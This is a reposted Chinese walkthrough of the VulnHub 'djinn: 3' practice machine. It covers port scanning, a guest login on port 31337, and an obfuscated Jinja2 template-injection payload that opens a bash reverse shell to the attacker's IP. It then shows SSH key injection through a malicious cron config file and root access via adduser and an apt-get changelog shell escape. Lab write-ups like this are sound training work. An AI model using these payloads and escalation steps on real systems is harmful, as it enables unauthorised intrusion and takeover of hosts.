djinn: 3靶场渗透

news2025/5/10 11:35:44

djinn: 3

来自 <https://www.vulnhub.com/entry/djinn-3,492/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.243

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.243

4,访问80端口的http服务看看

扫描网站存在的子目录

dirsearch -u http://192.168.23.243 -x 403,404

没什么用

5,访问5000端口看看

这是一个任务或问题跟踪列表,常见于项目管理工具(如Jira、GitHub Issues等)。并且提到了一个默认用户guest

 

6,再访问31337端口看看,账户密码均为guest

  1. 网络连接行为

nc 192.168.23.243 31337  # 通过netcat连接目标IP的31337端口
username> guest          # 使用默认用户guest登录
password> guest          # 使用默认密码guest登录成功

  • 31337端口:非常见端口,可能为自定义服务(如隐藏的管理接口或漏洞利用点)。
  • 默认凭证guest:guest 未移除(对应任务列表中的 #4567 未完成)。
  1. 系统特征
  • 自称是「开发中的票务系统」,提示报告问题至 mail@mzfr.me
  • 支持命令行交互(help 查看命令列表)。
  1. 5000端口关联
  • 5000端口通常用于开发环境(如Flask/Django调试模式、Docker注册表)。
  • 结合31337端口的未授权访问,可能形成 横向渗透路径
  • 通过31337端口获取初始权限 → 探测内网5000端口的服务 → 进一步利用漏洞。

攻击面分析:开发环境暴露

  • 5000端口服务推测
  • 运行未授权API(如Swagger UI、GraphQL)。
  • 调试模式开启的Web框架(如Flask debug=True,可能触发RCE)。
  • 利用链示例
    # 通过31337端口获取shell后,探测本地服务
    curl http://localhost:5000/management  # 尝试访问管理接口

 

help看看可以使用的命令

CLI功能与潜在攻击面分析

1. 可用命令解析

  • help:显示菜单,无直接风险。
  • update:更新票务软件(高危操作,可能触发远程代码执行或文件覆盖)。
  • open:创建新工单(可能涉及用户输入注入漏洞)。
  • close:关闭工单(需ID参数,可能存在逻辑漏洞)。
  • exit:退出系统。

2. 初步安全测试方向

  • 命令参数注入(如openclose的参数是否未过滤)。
  • update命令的更新源验证(是否允许任意URL下载或本地路径劫持)。
  • 会话持久化漏洞(如通过工单内容注入恶意代码触发后端解析)

7,对5000端口的服务进行指纹识别扫描

技术指纹分析

1. 服务框架

  • Werkzeug/1.0.1:Python WSGI工具库(常用于Flask开发服务器)。
  • Python 3.6.9:较旧版本(2019年发布),存在潜在漏洞(如CVE-2021-3177)。
  • Bootstrap:前端框架(版本未知,需进一步探测)。

2. 关键特征

  • 无标题页面:可能为未完成的后台接口或调试入口。
  • Server头部泄露:明确暴露技术栈(攻击者可针对性利用)。

3. 服务推测

  • 运行 Flask开发服务器(默认端口5000 + Werkzeug组合)。
  • 可能处于 调试模式(若开启debug=True,存在RCE风险)。

搜索网站技术栈存在的公开exp

searchsploit Werkzeug

下载来看看怎么使用

searchsploit 43905.py -m

漏洞利用没有成功,可能需要手动测试(在31337端口上)

8,这里反弹shell选择bash进行反弹,然后修改payload,在终端上新建票据

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.182/4444 0>&1'")|attr("read")()}}

然后在访问5000端口开放的http服务,刷新一下出现新的链接进行点击

与此同时kali打开对4444监听

nc -lvvp 4444

成功getshell

9,然后信息收集一下

uname -a

lsb_release -a

发现存在其他用户

发现几个属于有saint用户的文件

讲文件都下载到本地分析

cp /opt/.configuration.cpython-38.pyc /tmp

cp /opt/.syncer.cpython-38.pyc /tmp

cd /tmp

python3 -m http.server 8080

wget http://192.168.23.243:8080/.configuration.cpython-38.pyc

wget http://192.168.23.243:8080/.syncer.cpython-38.pyc 

然后拖到浏览器里面进行在线反编译

syncer.cpython-38.py

# Visit 在线Python pyc文件编译与反编译 for more information

# Version : Python 3.8

import os

import sys

import json

from glob import glob

from datetime import datetime as dt

class ConfigReader:

    config = None

   

    def read_config(path):

        '''Reads the config file

        '''

        config_values = { }

    # WARNING: Decompyle incomplete

    read_config = staticmethod(read_config)

   

    def set_config_path():

        '''Set the config path

        '''

        files = glob('/home/saint/*.json')

        other_files = glob('/tmp/*.json')

        files = files + other_files

       

        try:

            if len(files) > 2:

                files = files[:2]

            file1 = os.path.basename(files[0]).split('.')

            file2 = os.path.basename(files[1]).split('.')

            if file1[-2] == 'config' and file2[-2] == 'config':

                a = dt.strptime(file1[0], '%d-%m-%Y')

                b = dt.strptime(file2[0], '%d-%m-%Y')

            if b < a:

                filename = files[0]

            else:

                filename = files[1]

        finally:

            pass

        except Exception:

            sys.exit(1)

       

        return filename

    set_config_path = staticmethod(set_config_path)

configuration.cpython-38.py

# Visit 在线Python pyc文件编译与反编译 for more information

# Version : Python 3.8

from configuration import *

from connectors.ftpconn import *

from connectors.sshconn import *

from connectors.utils import *

def main():

    '''Main function

    Cron job is going to make my work easy peasy

    '''

    configPath = ConfigReader.set_config_path()

    config = ConfigReader.read_config(configPath)

    connections = checker(config)

    if 'FTP' in connections:

        ftpcon(config['FTP'])

    elif 'SSH' in connections:

        sshcon(config['SSH'])

    elif 'URL' in connections:

        sync(config['URL'], config['Output'])

if __name__ == '__main__':

    main()

10,根据这两个python程序的源码,在/tmp下新建一个文件,文件名字为29-06-2020.config.json,内容如下,本地服务器的authorized_keys文件的内容是使用ssh-keygen生成的id_rsa.pub文件内容

cat > /tmp/29-06-2020.config.json << 'EOF'

{

    "URL": "http://192.168.23.182/authorized_keys",

    "Output": "/home/saint/.ssh/authorized_keys"

}

EOF

所以前提条件是还需要生成kali的公钥authorized_keys

ssh-keygen

ls -la .ssh

cp .ssh/id_ed25519.pub authorized_keys

然后python开启一个http服务

python -m http.server 80

应该是公钥注入成功了ssh登录尝试一下

ssh saint@192.168.23.243

登录成功,巧妙的公钥注入!

11,信息收集,看看怎么提权

创造出来一个假root用户,跟root同属一个用户组

sudo /usr/sbin/adduser -gid 0 r00t

因为是假用户使用没有真root权限

查看sudoers文件还有哪些用户可以使用sudo执行命令

发现一个jason用户,但是这个用户并不存在,但是我们是可以新建这个用户,盗用它的sudo操作

exit

sudo /usr/sbin/adduser -gid 0 jason

12,因为jason用户允许在密码验证后使用sudo命令以root权限执行apt-get命令,而密码是我设置的。由此查看提权操作

sudo apt-get changelog apt

在终端输入

!/bin/sh

最后成功get flag

sh /root/proof.sh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2372268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VS Code配置指南:打造高效的QMK开发环境

VS Code配置指南&#xff1a;打造高效的QMK开发环境 前言 你是否曾为QMK固件开发环境的搭建而头疼不已&#xff1f;本文将手把手教你使用Visual Studio Code&#xff08;简称VS Code&#xff09;这款强大的代码编辑器来构建一个完美的QMK开发环境&#xff0c;让你的键盘固件开…

服务器多客户端连接核心要点(1)

刷题 服务器多客户端连接核心要点 多进程服务器 实现原理 fork子进程&#xff1a;每次accept新客户端后&#xff0c;调用fork创建子进程。独立处理&#xff1a;子进程负责与客户端通信&#xff08;如read/write&#xff09;&#xff0c;父进程继续监听新连接。 特点 隔离性…

Stagehand:AI驱动的下一代浏览器自动化框架

Stagehand 是一个结合了 AI 代理、AI 工具和 Playwright 的浏览器自动化框架。核心理念是&#xff1a;让自动化任务既可控又智能。与传统工具不同&#xff0c;Stagehand 不仅仅依赖 AI 代理的“黑箱操作”&#xff0c;而是通过与 Playwright 的深度结合&#xff0c;赋予开发者对…

爱普生FA-238在车身控制模块中的应用

在汽车智能化、电子化飞速发展的当下&#xff0c;车身控制模块&#xff08;BCM&#xff09;作为车辆的 “智能管家”&#xff0c;肩负着协调和控制众多车身功能的重任&#xff0c;从车门的解锁与锁定、车窗的升降&#xff0c;到车灯的智能点亮与熄灭&#xff0c;再到雨刮器的自…

【A2A】管中窥豹,google源码python-demo介绍

前言 A2A&#xff08;Agent2Agent&#xff09;是 Google 推出的一项新协议&#xff0c;旨在解决多智能体&#xff08;Multi-Agent&#xff09;系统中跨平台、跨组织协作的难题。它为 AI 代理之间的通信、协作和任务分工提供了一个统一的标准&#xff0c;可以类比为网页世界的 H…

004-nlohmann/json 快速认识-C++开源库108杰

了解 nlohmann/json 的特点&#xff1b;理解编程中 “数据战场”划分的概念&#xff1b;迅速上手多种方式构建一个JSON对象&#xff1b; 1 特点与安装 nlohmann/json 是一个在 github 长期霸占 “JSON” 热搜版第1的CJSON处理库。它的最大优点是与 C 标准库的容器数据&#xf…

Matlab实现CNN-BiLSTM时间序列预测未来

Matlab实现CNN-BiLSTM时间序列预测未来 目录 Matlab实现CNN-BiLSTM时间序列预测未来效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现CNN-BiLSTM时间序列预测未来&#xff1b; 2.运行环境Matlab2023b及以上&#xff0c;data为数据集&#xff0c;单变量时间序…

C语言| sizeof(array)占多少字节

C语言| 数组名作为函数参数 sizeof(数组名); 可以求出整个数组在内存中所占的字节数。 被调函数Array_Sum()中&#xff0c;数组array使用sizeof会得到多少&#xff1f; 实参数组a占32字节&#xff0c;实参a传给形参array&#xff0c;只占4字节。 原因如下&#xff1a; 数组名做…

【文件系统—散列结构文件】

文章目录 一、实验目的实验内容设计思路 三、实验代码实现四、总结 一、实验目的 理解linux文件系统的内部技术&#xff0c;掌握linux与文件有关的系统调用命令&#xff0c;并在此基础上建立面向随机检索的散列结构文件&#xff1b;## 二、实验内容与设计思想 实验内容 1.设…

World of Warcraft [CLASSIC][80][Deluyia] [Fragment of Val‘anyr]

瓦兰奈尔的碎片 [Fragment of Valanyr] 有时候下个班打个游戏&#xff0c;没想到套路也这么多&#xff0c;唉&#xff0c;何况现实生活&#xff0c;这一个片版本末期才1000G&#xff0c;30个&#xff0c;也就30000G&#xff0c;时光徽章等同月卡15000G&#xff0c;折合一下也就…

数组和指针典型例题合集(一维数组、字符数组、二维数组)

1.一维数组 数组名的理解 数组名是数组首元素&#xff08;第一个元素&#xff09;的地址 但是有两个例外&#xff1a; 1.sizeof &#xff08;数组名&#xff09;—— 数组名表示整个数组&#xff0c;就算的是整个数组的大小&#xff0c;单位是字节。 2.&数组名 —— 数…

地级市-机器人、人工智能等未来产业水平(2009-2023年)-社科数据

地级市-机器人、人工智能等未来产业水平&#xff08;2009-2023年&#xff09;-社科数据https://download.csdn.net/download/paofuluolijiang/90623814 https://download.csdn.net/download/paofuluolijiang/90623814 此数据集统计了2009-2023年全国地级市在机器人、人工智能等…

epub格式转txt格式工具,txt批量转PDF

epub格式转txt格式工具&#xff0c;功能如图&#xff1a; txt格式批量转PDF 参考原文&#xff1a;epub格式转txt格式工具&#xff0c;txt批量转PDF 轻轻一点就关注, 好运连连挡不住&#xff0c;点个关注吧。

电赛经验分享——模块篇

1、前言 打算在这一个专栏中&#xff0c;分享一些本科控制题电赛期间的经验&#xff0c;和大家共同探讨&#xff0c;也希望能帮助刚刚参加电赛的同学&#xff0c;了解一些基本的知识。一些见解和看法可能不同或有错误&#xff0c;欢迎批评指正。 在本文中&#xff0c;主要介绍笔…

JVM之内存管理(一)

部分内容来源&#xff1a;JavaGuide二哥Java 图解JVM内存结构 内存管理快速复习 栈帧&#xff1a;局部变量表&#xff0c;动态链接&#xff08;符号引用转为真实引用&#xff09;&#xff0c;操作数栈&#xff08;存储中间结算结果&#xff09;&#xff0c;方法返回地址 运行时…

鸿蒙编译boost整合linux跨平台应用

openharmony deveco 4.1支持armeabi-v7a deveco 5.0后不支持arm32位系统 boost编译 使用deveco的写cmake集成boost boost使用1.88的最新版本&#xff0c;带cmake工具链 https://github.com/boostorg/boost.git boost的源码都在sub_module中 deveco 4.1的版本sdk最高到9&am…

rabbitMQ消息问题与解决

rabbitMQ 消息顺序性、消息幂等性、消息不丢失、最终一致性、补偿机制、消息队列设计 1.消息顺序性 溯源&#xff1a; 消息队列中的若干消息如果是对同一个数据进行操作&#xff0c;这些操作具有前后的关系&#xff0c;必须要按前后的顺序执行&#xff0c;否则就会造成数据异常…

Java SE(10)——抽象类接口

1.抽象类 1.1 概念 在之前讲Java SE(6)——类和对象&#xff08;一&#xff09;的时候说过&#xff0c;所有的对象都可以通过类来抽象。但是反过来&#xff0c;并不是说所有的类都是用来抽象一个具体的对象。如果一个类本身没有足够的信息来描述一个具体的对象&#xff0c;而…

学习threejs,使用Physijs物理引擎

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️Physijs 物理引擎1.1.1 ☘️…

allure生成测试报告(搭配Pytest、allure-pytest)

文章目录 前言allure简介allure安装软件下载安装配置环境变量安装成功验证 allure运行流程allure装饰器函数基本说明装饰器函数使用allure.attach 命令行运行利用allure-pytest生成中间结果json 查看测试报告总览页面每个tab页的说明类别页面测试套图表页面时间刻度功能页面包 …